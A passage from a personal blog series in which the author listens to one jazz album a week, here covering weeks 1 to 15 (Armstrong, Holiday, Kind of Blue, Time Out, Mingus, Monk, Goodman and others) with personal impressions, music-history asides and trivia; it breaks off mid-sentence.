href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-43">Native Dancer</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-44">Concierto</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-45">Romantic Warrior</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-46">School Days</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-47">8:30</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-48">Round Midnight: Original Motion Picture Soundtrack</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-49">Carmen Sings Monk</a></li> <li><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-50">Standard Time, Vol. 3: The Resolution of Romance</a></li> </ol> </details> <h2 id="week-1">Week 1: <a href="https://musicbrainz.org/release-group/3c6e5005-cad2-4444-825f-71e4b8324d51">Louis Armstrong Plays W. C. Handy</a></h2> <p>Not really knowing anything about these box sets in advance, I embarked on this project with some trepidation that I had signed myself up for fifty weeks of crap. By the end of this album's first track, I was a believer.</p> <p>The top-notch musicianship and Satchmo's<sup class="footnote-reference"><a href="#satchmo">1</a></sup> trademark gravelly crooning are already reason enough to listen, but I can't emphasize enough how much <em>fun</em> this album is: the frequent banter between Louis and <a rel="external" href="https://en.wikipedia.org/wiki/Velma_Middleton">Velma Middleton</a> is charming, and the whole thing is joyous and downright raucous throughout. I mean, just listen to this laugh:</p> <p><audio controls src="louis_armstrong_laugh.mp3"></audio></p> <p>One thing I don't understand: <a rel="external" href="https://en.wikipedia.org/wiki/W._C._Handy">W. C. Handy</a> was the "Father of the Blues," and most of the songs here have "blues" in the title—obviously there's lots of shared heritage between jazz and blues, but where exactly does that dividing line lie? And what is this exactly?</p> <p><em>Favourite track:</em> St. Louis Blues</p> <h2 id="week-2">Week 2: <a href="https://musicbrainz.org/release-group/36e093d0-c78c-3030-9753-f0094daf8ab0">Sarah Vaughan in Hi‐Fi</a></h2> <p>This one is a slower burn for me: obviously Sarah Vaughan is an incredibly talented vocalist, but this doesn't quite get my blood pumping like the last album; sometimes her melodies go a little too all over the place for my taste. That said, I'd gladly put this on for a nice romantic dinner (skip "Mean to Me" in that case, though).</p> <p>Also, apparently Miles Davis is playing the trumpet for most of these tracks? We'll get back to him soon enough…</p> <p><em>Favourite track:</em> Nice Work If You Can Get It</p> <h2 id="week-3">Week 3: <a href="https://musicbrainz.org/release-group/a77f219c-d342-4ae3-bdab-352751f19ba7">The Jazz Messengers</a></h2> <p>After Ms. Vaughan's lovely but somewhat sedate tunes, I was hoping for this week to bring a little more energy, and The Jazz Messengers definitely delivered on that front. Wikipedia tells me we're in <a rel="external" href="https://en.wikipedia.org/wiki/Hard_bop">hard bop</a> territory now, and it's not hard to hear why it might've earned that moniker.</p> <p>Art Blakey is undeniably a monster on the drums, but some of his solos end up sounding a little… samey to me? Take the first big solo from Infra-Rae: it starts to get repetitive for me in a way that I've never felt when listening to say, <a rel="external" href="https://en.wikipedia.org/wiki/Neil_Peart">Neil Peart</a>. Listen for yourself and see if you agree:</p> <p><audio controls src="infra-rae_solo.mp3"></audio></p> <p>Not too much more to say on this one, other than that I'm glad to have some high-tempo, vocal-free jazz—good music for when you really need to get something done. Oh, and "Carol's Interlude" on this album really reminds me of "Epistrohpy" from another <a rel="external" href="https://musicbrainz.org/release-group/e0b33a23-c61c-34a1-a903-47a55255ede5">Monk/Coltrane album</a> I have.</p> <p><em>Favourite track:</em> Hank's Symphony</p> <h2 id="week-4">Week 4: <a href="https://musicbrainz.org/release-group/cf7bc239-a3ba-3d87-80e5-261f750cb560">Lady in Satin</a></h2> <p>Given that the primary feature here is a solo female vocalist—Billie Holiday—I couldn't help but compare this album to the <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-2">earlier Sarah Vaughan album</a>. I prefer this one: the lush orchestral backing really helps create a sweeping, dramatic sense of romance, as opposed to Vaughan's lighter, airier mood.</p> <p>Immediately, one can hear some fragility and rasp in Holiday's voice; she comes across as much more "mature" than Vaughan to my ears. What I hadn't realized was the sad explanation: at the time of the recording, Holiday was in poor health, after having weathered decades of damage from alcohol, hard drugs, and abusive relationships. She recorded this album in February 1958 and passed away barely 18 months later. The critical consensus seems to be that the album packs a huge emotional punch, but that Holiday had lost some of her range and force by this point—I'd like to return to her earlier work and compare for myself.</p> <p>I suspect this album will also hold a special place in my heart owing to the circumstances of my first listen: not wanting to miss a week, I had copied this album to my phone in advance of a trip to the Netherlands; I listened to it together with my wife on the train as we watched the Dutch countryside go by.</p> <p>Two miscellaneous closing thoughts:</p> <ul> <li>It's a dang shame that she never had a chance to sing a Bond theme (and not only because that would up the <a rel="external" href="https://en.wikipedia.org/wiki/No_Time_to_Die_(song)">Billie–Bond count</a> to two).</li> <li>Thanks to Wikipedia, I learned that there's a <a rel="external" href="https://planetarynames.wr.usgs.gov/Feature/2542">crater on Venus</a> named after her.</li> </ul> <p><em>Favourite track:</em> For Heaven's Sake</p> <h2 id="week-5">Week 5: <a href="https://musicbrainz.org/release-group/8e8a594f-2175-38c7-a871-abb68ec363e7">Kind of Blue</a></h2> <p>We're into the heavy hitters now—this is one of the few jazz albums I picked up prior to this experiment, based on its universal praise. What is there for me to say that hasn't already been said? It's <em>Kind of Blue</em>—if any album <em>is</em> jazz, it's this one.</p> <p>From what I've been able to gather online, <em>Kind of Blue</em> is notable for pioneering modal jazz (in response to <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">hard bop</a>). My limited understanding is that in hard bop, melodies were largely driven by quick chord progressions: soloists displayed their incredible virtuosity by continually adapting to the rapidly shifting tonal centre dictated by the chord changes. In contrast, modal jazz uses very few, slow-moving chords—giving soloists more latitude to develop their melodies without being constrained by the strictures of the chord progression. (As for what exactly musical "<a rel="external" href="https://en.wikipedia.org/wiki/Mode_(music)">modes</a>" are and what their significance is, I still don't have a clear understanding.)</p> <p>I'm sure I'll be listening to and learning from this one for many years to come, along with the rest of the world.</p> <p><em>Favourite track:</em> So What</p> <h2 id="week-6">Week 6: <a href="https://musicbrainz.org/release-group/035a7881-3e2c-39d2-b110-fe26a4de94e5">Time Out</a></h2> <p>This album was an immediate revelation for me. I've listened to some great stuff already, but <em>Time Out</em> had me hooked from the first few bars—the opening rhythm of Blue Rondo à la Turk is now permanently tattooed on my brain. Perhaps that's no coincidence; <em>Time Out</em>'s primary innovation is its usage of time signatures that were previously uncommon in jazz (e.g., <span class="time-signature"> <sup><b>9</b></sup> <sub><b>8</b></sub> </span> in Blue Rondo à la Turk; <span class="time-signature"> <sup><b>5</b></sup> <sub><b>4</b></sub> </span> in Take Five). If, like me, you're struggling to understand the nuances of <span class="time-signature"> <sup><b>9</b></sup> <sub><b>8</b></sub> </span> rhythm, here's a helpful explanatory video <a rel="external" href="https://en.wikipedia.org/wiki/File:Blue-Rondo-%C3%A0-La-Turk.theora.ogv">from Wikipedia</a>:</p> <iframe src="https://commons.wikimedia.org/wiki/File:Blue-Rondo-%C3%A0-La-Turk.theora.ogv?embedplayer=yes" style="max-width: 100%" width="512" height="288" frameborder="0" loading="lazy" allow="autoplay; picture-in-picture" allowfullscreen></iframe> <p>Got it? Good.</p> <p>Another thing that stood out to me was how… classical this album sounds? Even on my first listen, something here struck me as familiar in a way I hadn't experienced with the earlier albums.</p> <p>One more embed before we go: Canadian film animator <a rel="external" href="https://en.wikipedia.org/wiki/Steven_Woloshen">Steven Woloshen</a> produced a short film set to Take Five that I think is pretty neat:</p> <div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/215511559?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Cameras Take Five"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p><em>Favourite track:</em> Blue Rondo à la Turk</p> <h2 id="week-7">Week 7: <a href="https://musicbrainz.org/release-group/65890654-7523-33e0-a825-2bf9fe8efe41">First Time! The Count Meets the Duke</a></h2> <p>As <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">previously mentioned</a>, I had listened to a grand total of three jazz albums before setting out on this expedition. We've already encountered <em>Kind of Blue</em>; one of the other two was <em><a rel="external" href="https://musicbrainz.org/release-group/f8d5a1fd-04c9-338c-b1a4-811e3b65f684">Side by Side</a></em>—<em>Side by Side</em> was mostly a Johnny Hodges album, but they stamped his better-known bandleader Ellington's mug on the cover, presumably to juice the sales.</p> <p>I bring all of this up because this week's album features some of the same suspects: Ellington has gathered together his big band (Hodges included), but they're not alone: Count Basie—another big band luminary—is on set with his crew, and out to wage Big Band "Battle Royal" (<em>sic</em>)! The stereo mix is intended to capture the conflict: Basie's group is heard on left channel, while Ellington's is on the right.<sup class="footnote-reference"><a href="#basie-ellington-mnemonic">2</a></sup> To my undiscerning ear, the result sounds as cooperative as it does antagonistic, but that doesn't stop it from being a blast through and through. At peak moments, the brass can get a little screechy; I don't think it's ever over the top but my wife is not on board with it. (E.g., listen to the climax of Battle Royal—it's on the verge of cacophony, but I think it remains on the "impassioned finale" side of the line.)</p> <p>I've bandied about "big band" above with any proper explanation, so I suppose I ought to fill in some of those details: big band is exactly what it sounds like—a musical ensemble for jazz that consists of at least ten (and often 17 or more) musicians (usually divided into saxophones, trumpets, trombones, and rhythm). Compared to earlier jazz ensembles (which typically comprised 4–5 musicians), big bands were obviously larger, but also had a greater focus on written compositions (owing to the increased difficulty of coordinating solos across a much bigger group). Big bands reached peak popularity in the late 1930s/early 1940s alongside "swing," the subgenre of jazz they usually played. Swing was very popular at dance halls; as you might guess from the name, it features a "swinging" rhythm (usually by accenting the second and fourth beats). Both Duke Ellington and Count Basie were both highly regarded big band leaders who shaped the development of swing (Ellington in particular was also a prolific composer and arranger).</p> <p>tl;dr:</p> <dl> <dt>Big band</dt> <dd>Jazz group of at least ten musicians (probably more).</dd> <dt>Swing</dt> <dd>Subgenre of jazz with a strong emphasis on a "swinging" rhythm; frequently played at dance halls.</dd> </dl> <p><em>Favourite track:</em> Wild Man (aka Wild Man Moore)<sup class="footnote-reference"><a href="#wild-man-notes">3</a></sup></p> <h2 id="week-8">Week 8: <a href="https://musicbrainz.org/release-group/9ced0e26-5eab-4169-82d7-bec404815bcb">Parole E Musica</a></h2> <p>Eight weeks in, and we've arrived at a dubious honour: this is the first album where the top-billed performer (<a rel="external" href="https://en.wikipedia.org/wiki/Helen_Merrill">Helen Merrill</a> in this case) is still alive—as I write this in February 2025, she's a sprightly 95 years old according to Wikipedia. Perhaps more excitingly, we've also got our first duplicate track: we first heard "You Don't Know What Love Is" in <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-4">week 4</a> (I give the edge to Merrill).</p> <p>This album has an interesting gimmick. For each "song," there's two tracks: the first is a spoken word version of the song's lyrics <em>in Italian</em>; the second is the real song (with Merrill singing in English). Is it completely unnecessary and self-indulgent? Yes. Do I love it, and does it make me pretend I'm living on the Amalfi Coast in <a rel="external" href="https://en.wikipedia.org/wiki/Ripley_(TV_series)">Ripley</a>? Also yes.</p> <p>Also, this is the third album to feature a lovely leading lady, and I have a confession to make: while there's no denying the sublimity of Merrill's singing, it's pretty clear to me by now that this isn't what I want out of my jazz—I'd almost always sooner reach for any of the instrumental albums we've heard, or Armstrong's bombastic vocals.</p> <p>One final bit of trivia for the week: this might be the first you've heard of Helen Merrill, but you surely know one of her son's songs: he wrote the original version of "<a rel="external" href="https://www.youtube.com/watch?v=Ak5xWekNfSo">I Love Rock 'n' Roll</a>."</p> <p><em>Favourite track:</em> Why Don't You Do It Right</p> <h2 id="week-9">Week 9: <a href="https://musicbrainz.org/release-group/fab2e359-265d-35cc-897e-64b11b59d18c">Tijuana Moods</a></h2> <p>Charles Mingus was another one of those "big names" from the jazz world that I recognized, but had never actually listened to until this week. <em>Tijuana Moods</em> sounds quite different than anything else we've heard so far; I'd describe it as more assertive and even a bit combative at times (though smooth elsewhere; e.g., on "Flamingo"). This certainly isn't "easy listening;" compared to the other albums it feels less eager to please the listener and more experimental—maybe it's fair to call it a concept album? As you might've guessed, the album was inspired by Mingus' time in Tijuana; throughout the album, even my ignorant ears can clearly discern the Latin beats and motifs getting the blood pumping as the jazz takes off.</p> <p>But the track that's stuck with me the most isn't even from the original release of the album. "A Colloquial Dream (Scenes in the City)" was only added on some later CD releases: it's nearly 11 minutes long and merges jazz with spoken-word poetry; it features a down-on-his luck narrator recounting his love for jazz and his struggles living in Harlem. At first, I didn't like it, and I wasn't convinced it was likeable by anyone—a fun novelty, sure, but is this still even music? But after listening to the album all week long, <a rel="external" href="https://en.wikipedia.org/wiki/Propinquity">propinquity</a> did its thing, and that narrator now lives rent-free in my head (a good development for him given his situation with the landlady). This isn't the kind of song you can blast at the gym or put on your party playlist, but if you're in a ruminative mood—possibly with a dram of whisky in hand—there's a real depth of soul here.</p> <p>Now catch this… DIG!</p> <p><em>Favourite track:</em> A Colloquial Dream (Scenes in the City)</p> <h2 id="week-10">Week 10: <a href="https://musicbrainz.org/release-group/5c44b16b-a9a8-3418-b934-97aa4370c141">Chet Is Back!</a></h2> <p>Ooh, this sounds pretty different to me than what we've heard so far. I think that's mostly due to the appearance of electric guitar in a few tracks and more prominent bass throughout—it strikes me as more "modern" overall? The song that most captured my attention was "Ballata in forma di blues," written for the album by Amedeo Tommasi (who also plays piano on the album); something about that starting chord progression had me completely transfixed. Interestingly, almost none of the other songs on the album were original compositions. They're almost exclusively covers, including a Thelonious Monk track (remember that name) and that perennial favourite, <a rel="external" href="https://www.youtube.com/watch?v=IFS3BW0yOsw">Over the Rainbow</a>.</p> <p>After eight instrumental tracks, I wasn't expecting the vocals on the last four (all sung by Baker himself). There's a good reason for that—those four tracks weren't on the original album release; they were a series of "orchestral pop tracks" that Baker later recorded with Ennio Morricone. (Yes, <a rel="external" href="https://www.youtube.com/watch?v=PYI09PMNazw"><em>that</em></a> Ennio Morricone.) Regardless, they've got a calm charm of their own that complements the more upbeat earlier tracks. I'm glad they were added for this CD reissue.</p> <p>As for Chet Baker the man, he seems to have been the poster boy for everything your high school's anti-drug program said would happen—with his boyish good looks and multifold musical talents, surely the world was young Chet's oyster! Unfortunately—<a rel="external" href="https://www.city-journal.org/article/when-heroin-hit-jazz">like many of his contemporaneous jazzmen</a>—Chet developed a heroin addiction early in his career and spent the rest of his life in and out of jail. He died at age 58 after apparently falling out of a hotel window while high.</p> <p>As if that wasn't sad enough, Wikipedia's biography of Chet includes the sentence "Baker was an irresponsible and distant father," <em>with a footnote</em>. Dear reader, I will be a father myself soon, and while I am sure I will make more than my own fair share of mistakes, I'm hoping not to foul it up to the point that it's <em>citation-worthy</em>.</p> <p>One more obligatory random connection. Remember when I said that listening to <em>Parole E Musica</em> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-8">made me feel like I was in Ripley</a>? Turns out I was a couple of weeks early—in the 1999 movie <em>The Talented Mr. Ripley</em> (based on the same source material as the 2024 miniseries), <a rel="external" href="https://www.youtube.com/watch?v=N_A9xX_CVFA">Matt Damon impersonates a Chet Baker recording</a>.</p> <p><em>Favourite track:</em> Ballata in forma di blues</p> <h2 id="week-11">Week 11: <a href="https://musicbrainz.org/release-group/e592af5d-94e1-33a5-bc42-2a500a818c92">Monk&#x27;s Dream</a></h2> <blockquote> <p>Moms didn't dig [jazz], she just didn't go for it</p> <p><a rel="external" href="https://en.wikipedia.org/wiki/Charlie_Parker#Other_tributes">Bird</a>, <a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis">Miles</a>, and <a rel="external" href="https://en.wikipedia.org/wiki/Max_Roach">Max</a>… she couldn't see it</p> <p>Morning, afternoon, night, or anytime</p> <p>That is, until I played her some <a rel="external" href="https://en.wikipedia.org/wiki/Thelonious_Monk">Monk</a> one night, late</p> <p><a rel="external" href="https://en.wikipedia.org/wiki/%27Round_Midnight_(song)">'Round about Midnight</a> time</p> <p>I played her some Monk!</p> <p>—Thelonious, that is</p> <p>And now Mom spends many of her <a rel="external" href="https://en.wikipedia.org/wiki/A_Night_in_Tunisia">nights in Tunisia</a></p> </blockquote> <p>—"<a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">A Colloquial Dream (Scenes in the City)</a>"</p> <p>I suppose you can tell that Thelonious Monk is a big name given that I've already alluded to him <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">three</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">times</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-10">so far</a> before actually getting to one of his own albums.</p> <p>In retrospect, I can see that I came to this album with misplaced expectations. Knowing how revered Monk is and that this is one of his best-known albums, I was expecting something more avant-garde—something challenging and foreign; something that had moved jazz as a whole forward. Instead it's a… very fun and dare I say <em>approachable</em> listen? If someone wanted to dip their toes into jazz, this seems like a pretty reasonable recommendation to me.</p> <p>Everything that I've read about Monk mentions his idiosyncratic approach to piano—his percussive attacks on the keys, "angular" melodies, and emphatic use of dissonance and silence. I'm still too much of a neophyte to discern those in any sophisticated way; I can hear the dissonance come through in places (particularly in "Body and Soul"), but I doubt I could pass a blind "is it Monk?" test.</p> <p>Perhaps the above makes it sound like I'm down on the album, which isn't the case. There's a lot of fun and whimsy here; I particularly like the scratchy sax in "Bright Mississippi" and the main jaunty melodic line it features. "Bye-Ya" and "Sweet and Lovely" also stand out because I know them from <a rel="external" href="https://musicbrainz.org/release-group/e0b33a23-c61c-34a1-a903-47a55255ede5">an earlier album</a> (not featured in our 50-week journey)—in "Sweet and Lovely" I prefer the halting <em>ritardando</em> ending on <em>Monk's Dream</em> to the chromatic (?) flourishes on the other album.</p> <p>But overall, I'm leaving this week with a renewed appreciation for <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">Tijuana Moods</a>—I think that's closer to what I wanted <em>Monk's Dream</em> to be. Maybe by the end of this project I'll be able to better appreciate Monk's genius in its own right.</p> <p><em>Favourite track:</em> Bright Mississippi<sup class="footnote-reference"><a href="#bright-mississippi-disambiguation">4</a></sup></p> <h2 id="week-12">Week 12: <a href="https://musicbrainz.org/release-group/2cb9e592-0633-42dc-9e26-ac938730f4b8">Sonny Meets Hawk!</a></h2> <p>Ah, the saxophone: I'm sure we can all agree, objectively one of the best instruments. And this week we're treated to a sax masterclass: as the back cover helpfully explains, we've got <a rel="external" href="https://en.wikipedia.org/wiki/Sonny_Rollins">Sonny Rollins</a> ("the 'boss' of modern tenor sax") on the left channel, and <a rel="external" href="https://en.wikipedia.org/wiki/Coleman_Hawkins">Coleman Hawkins</a> ("the father of jazz saxophone") on the right.<sup class="footnote-reference"><a href="#rollins-hawkins-mnemonic">5</a></sup> These are indisputably two masters of the instrument, live in improvisational conversation with one another, and what a conversation it is.</p> <p>But first! Since we're on the topic of the saxophone, there's something I positively have to get out of my system. Please enjoy this series of increasingly absurd fun facts that never fail to delight me:</p> <ul> <li>The saxophone was invented in the early 1840s by <a rel="external" href="https://en.wikipedia.org/wiki/Adolphe_Sax">Adolphe Sax</a>. So it really just is a "Sax-o-phone." For some reason I always thought it'd be deeper than that.</li> <li>But Sax didn't stop at his phone: he also graced us with his <a rel="external" href="https://en.wikipedia.org/wiki/Saxhorn">saxhorn</a>, <a rel="external" href="https://en.wikipedia.org/wiki/Saxtuba">saxtuba</a>, and—who could forget?—the dulcet <a rel="external" href="https://en.wikipedia.org/wiki/Saxotromba">saxotromba</a>. Also, this thing:</li> </ul> <figure> <img src="/blog/fifty-weeks-of-jazz/./six_valve_trombone.jpg" alt="" class="centre"> <figcaption><p>"<a rel="external" href="https://en.wikipedia.org/wiki/File:Trombone_a_six_pistons-IMG_0853-black.jpg">Six-valved trombone by Adolphe Sax</a>," as photographed by Wikipedia user <a rel="external" href="https://commons.wikimedia.org/wiki/User:Rama">Rama</a>, Cc-by-sa-2.0-fr</p> </figcaption> </figure> <ul> <li>But those pitiful horns could only deafen a man at <em>close</em> range. Sax had greater ambitions: his "Saxtonnerre" (a locomotive-powered… organ?) was designed to be heard all across Paris, without any amplification. (This one never made it past the concept stage.)</li> <li>At this point, you might have pigeonholed Sax as a designer of niche instruments. Not so; he was a true renaissance man—when he saw the devastation wrought by prolonged sieges in war, he designed the perfect solution: a cannon so giant that rather than besiege a city, one could simply <em>level the entire city with a single shot</em>. He called it—all together now!—the "Saxocannon." Mercifully, it was never built.<sup class="footnote-reference"><a href="#saxocannon-source">6</a></sup></li> </ul> <p>Even by my loose standards, that's a signficant digression. How's the actual album this week?</p> <p>It's a hoot and a holler! And a times a screech, and also occasionally a… plaintive whine? Point is, there's <em>lots</em> of sounds coming out of the saxophones, including a bunch that I wasn't expecting and a few that frankly I don't associate with competent saxophonists. And yet somehow, it all works? I mean, just listen to this snippet from the end of "Lover Man":</p> <p><audio controls src="lover_man_excerpt.mp3"></audio></p> <p>You cannot tell me in good faith that no saxophones were hurt in the making of this album. But you also cannot tell me that their pain was in vain.</p> <p><em>Favourite track:</em> All the Things You Are</p> <h2 id="week-13">Week 13: <a href="https://musicbrainz.org/release-group/4fa68449-6f5d-4e49-8932-a29273a8534f">At Newport &#x27;63</a></h2> <p>Enough of this American jazz hegemony! <a rel="external" href="https://en.wikipedia.org/wiki/Martial_Solal">Martial Solal</a>, "an Algerian-born Frenchman who plays more like an American than perhaps any other foreigner,"<sup class="footnote-reference"><a href="#solal-description">7</a></sup> is here to show us a European take on jazz.</p> <p>This album comes to us (mostly) live from the storied <a rel="external" href="https://en.wikipedia.org/wiki/Newport_Jazz_Festival">Newport Jazz Festival</a>—charmingly, the back of the album explains that since the only festival slot available for Solal was too short for a full album, they pre-emptively recorded a rehearsal sequence and slapped the festival applause onto the end of those tracks "to make for more natural home listening." (Once you hear the same crowd whistling on half the tracks, you can't unhear it.)</p> <p>Solal covers some well-trod standards in his set (e.g., "'Round Midnight", "Boplicity"), but the one that really caught my attention was an original composition of his: "Suite pour une frise." Don't be alarmed if the title makes no sense to you; as Martial himself put it: "If you don't understand French, I will make George Avakian to translate in the album notes." Avakian comes through, explaining that the piece is "inspired by an actual frieze; not a classical Greek one but a modern one painted on aluminum high on a modern glass-walled building in Brussels." I, however, needed things broken down even further; I had a vague recollection that a frieze is some architectural thing, but Wikipedia's definition—"even when neither columns nor pilasters are expressed, on an astylar wall it lies upon the architrave ('main beam') and is capped by the moldings of the cornice"<sup class="footnote-reference"><a href="#wikipedia-frieze">8</a></sup>—left me with more questions than answers.</p> <p>Allow me to spare you my confusion: if a building has a flat part above some columns, and especially if the flat part has a nice design on it, that's a frieze, more or less. Of course, the natural follow-up question is: can we locate the <em>exact</em> frieze that so inspired Solal? Well, the <a rel="external" href="https://fr.wikipedia.org/wiki/Suite_pour_une_frise">French Wikipedia</a> page for the song mentions that it was commissioned for the inauguration of a frieze by Ralph Cleeremans (which demonstrated Cleeremans' novel "aluchromie" technique that allowed fixing pigment to aluminum). I was able to track down some <a rel="external" href="https://web.archive.org/web/20241214225410/https://rotordc.com/aluchromie-panels-by-ralph-cleeremans">general information</a> about Cleeremans' work, and while I'm doubtful it's the exact frieze in question, you can <a rel="external" href="https://rotordc.com/shop/product/902orn014-set-of-aluchromie-panels-by-ralph-cleeremans-285-cm-high-set-14-35750">purchase one of his originals</a> for a cool 4000 Euros.</p> <p>But, ah, back to the song itself: "Suite pour une frise" leaps out of the gates with forceful energy, and it builds tension early on that keeps you on the edge of your seat. There's a couple great sections where the bass takes the spotlight, but above all else, this one puts Solal's virtuosity front and centre. For me, that last ingredient is the key piece here—I deeply love the piano, but spartan jazz melodies on the keys just don't seem to grab me as much as they might on say, a saxophone. I'm a firm believer that if you can't play the prettiest notes, you ought to at least play the <em>most</em> notes, and on that metric, Solal does not disappoint. (Mind you, I'm <em>not</em> saying that the piano is inherently less musical than other instruments, as my wife would have you believe—a mournful Chopin is equally moving as a crooning sax, but I've yet to find the former properly represented in jazz.)</p> <p>One final note: I love how much <em>humanity</em> a live recording captures. Yes, Solal's rhythms and melodies will continue to bounce around in my head, but so will his charming introductions ("…and now, Thelonious Monk's <em>classique de jazz</em>, 'Round Midnight"). I'm sure that to Solal, those off-hand remarks were an utterly forgettable part of the show, but on this album they can't help but colour the listener's overall perceptions—an unintended improvisation, recorded for posterity.</p> <p><em>Favourite track:</em> Suite pour une frise</p> <h2 id="week-14">Week 14: <a href="https://musicbrainz.org/release-group/bde8008d-1eb9-35cd-bc1b-50dc18ba2dd5">Two of a Mind</a></h2> <p>After <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-13">last week's saxophone detox</a>, this week the jazz gods smiled upon me with a double helping. And after fourteen weeks, dare I say we're… learning? Check this out: this week's album features <a rel="external" href="https://en.wikipedia.org/wiki/Paul_Desmond">Paul Desmond</a> and <a rel="external" href="https://en.wikipedia.org/wiki/Gerry_Mulligan">Gerry Mulligan</a>. We know Desmond from <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-6">Time Out</a></em>—in fact, he composed "Take Five."<sup class="footnote-reference"><a href="#desmond-bequeath">9</a></sup> Mulligan, on the other hand, enjoyed inspired collaborations with Chet Baker (though sadly <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-10">Chet is Back!</a></em> isn't one such example). What's more, the format of this album (two cooperating saxmen with a stereo channel apiece<sup class="footnote-reference"><a href="#desmond-mulligan-mnemonic">10</a></sup>) calls to mind <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-12">Sonny Meets Hawk!</a></em> from a couple of weeks ago.</p> <p>My overall impression of <em>Two of a Mind</em> is that it's <em>witty</em>; several of these tracks are full of tongue-in-cheek "gotchas" (which, admittedly, are lost on me). Per Avakian's notes on the back of the album, "they will let you hear just enough of what you might expect to let you know that <em>they</em> know that <em>you</em> know—and then they're off on a wholly fresh idea." Clever, but Desmond &amp; Mulligan haven't made a fool of me—I'm too ignorant to be hoodwinked by their tricks. What's more, the title track is apparently meant to be another oblique musical reference for the true devotees. (Spoiler alert: the answer is front and centre on <a rel="external" href="https://en.wikipedia.org/wiki/Two_of_a_Mind">the album's Wikipedia page</a>.)</p> <p>That same wit shines through in the track names. Apparently, after hearing the rapid tempo on track 4, one of the audio engineers aptly suggested the title "Flight of the Bumblebee." <a rel="external" href="https://en.wikipedia.org/wiki/Judy_Holliday">Judy Holliday</a> (an actress who was hanging out in the control room and would go on to marry Mulligan a year after this recording) retorted "or… Blight of the Fumblebee!"<sup class="footnote-reference"><a href="#blight-of-the-fumblebee-anecdote">11</a></sup> Now <em>that</em> is an A+ Spoonerism; a brilliant example of the comedic arts that we seek to advance here at <a href="https://simpsonian.ca/jokes/#seriously-stupid-spoonerisms">the Simpsonian</a>. Desmond was also known to partake himself: a lifelong womanizer, upon crossing paths with a former girlfriend he remarked "There she goes—not with a whim but a banker" (a Spooneristic allusion recalling <a rel="external" href="https://en.wikipedia.org/wiki/The_Hollow_Men">Eliot's most famous stanza</a><sup class="footnote-reference"><a href="#hollow-men-spoonerism">12</a></sup>).</p> <p>As for the music itself, it's casual, friendly, and coordinated. Desmond's alto contrasts nicely with Mulligan's baritone; their counterpoint is on point.<sup class="footnote-reference"><a href="#counterpoint-refresher">13</a></sup> The electric guitar on "Untitled Blues Waltz" really got me too—there's an instrument that's been in short supply so far, so the extra funk it brings hits all the harder. Even so, I found myself longing for some of the rougher edges from <em>Sonny Meets Hawk!</em>. I can't quite put my finger on why: the best analogy I have is that <em>Two of a Mind</em> is a wonderfully blended Scotch—Desmond's own favoured <a rel="external" href="https://en.wikipedia.org/wiki/Dewar%27s">Dewar's</a>, perhaps—while <em>Sonny Meets Hawk!</em> is my beloved <a rel="external" href="https://en.wikipedia.org/wiki/Laphroaig_distillery">Laphroaig</a>. Many people in many circumstances will prefer the smooth refinement of the former—but sometimes you want a bare-knuckled peat punch just to remind yourself that you're alive.</p> <p><em>Favourite track:</em> Untitled Blues Waltz</p> <h2 id="week-15">Week 15: <a href="https://musicbrainz.org/release-group/509a2a93-cfb0-38f1-aa48-649c076aebbc">Together Again!</a></h2> <p>Going into middle school, I needed to pick an instrument for music class. The choice was clear: I could barely get a whimper out of a flute, and my buzzing on the brass was no good, but by God could I wail on the saxophone. My father was only too happy to indulge my affinity for woodwind by purchasing me a… clarinet. Practicality ruled the day: a clarinet, you see, is significantly cheaper than a saxophone, and is <em>just</em> compact enough to be crammed into one's backpack for easy transportation—my father had no sympathy for the fact that I idolized <a rel="external" href="https://www.youtube.com/watch?v=GaoLU6zKaws">sexy sax man</a>, not Squidward. I've been unpacking that trauma ever since.</p> <p>It was surprising to me, then, to learn that all of that unpleasantness could have been avoided had someone simply played me this album all those years ago. Goodman is front and centre on the ol' licorice stick, and blows as hard as any another cat on the scene; there's no shortage of sax appeal here. As for the rest of the quartet: there's no bass (sad), but instead we've got double percussion—drums and <em><a rel="external" href="https://en.wikipedia.org/wiki/Vibraphone">vibraphone</a></em> (!)—to lay down a backbone, plus keys to fill everything out.</p> <p>From the instrumentation alone, this one struck me as antiquated: nothing else we've heard so far emphasizes these particular instruments, and I can't help but find the combination slightly cheesy. Not in a bad way! It's always fun, and it does legitimately go hard, but clarinet and vibraphone sound so <em>wholesome</em> to me; overall it doesn't quite have the same edge as <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">some other things</a> we've listened to.</p> <p>Am I right in deeming this sound "dated?" Sort of: Goodman's quartet first made it big around 1936, but this particular recording is an attempt to recapture that magic in 1964 (well after the group had split—hence the "again" in <em>Together Again!</em>).<sup class="footnote-reference"><a href="#64-quartets">14</a></sup> Music had changed much in those 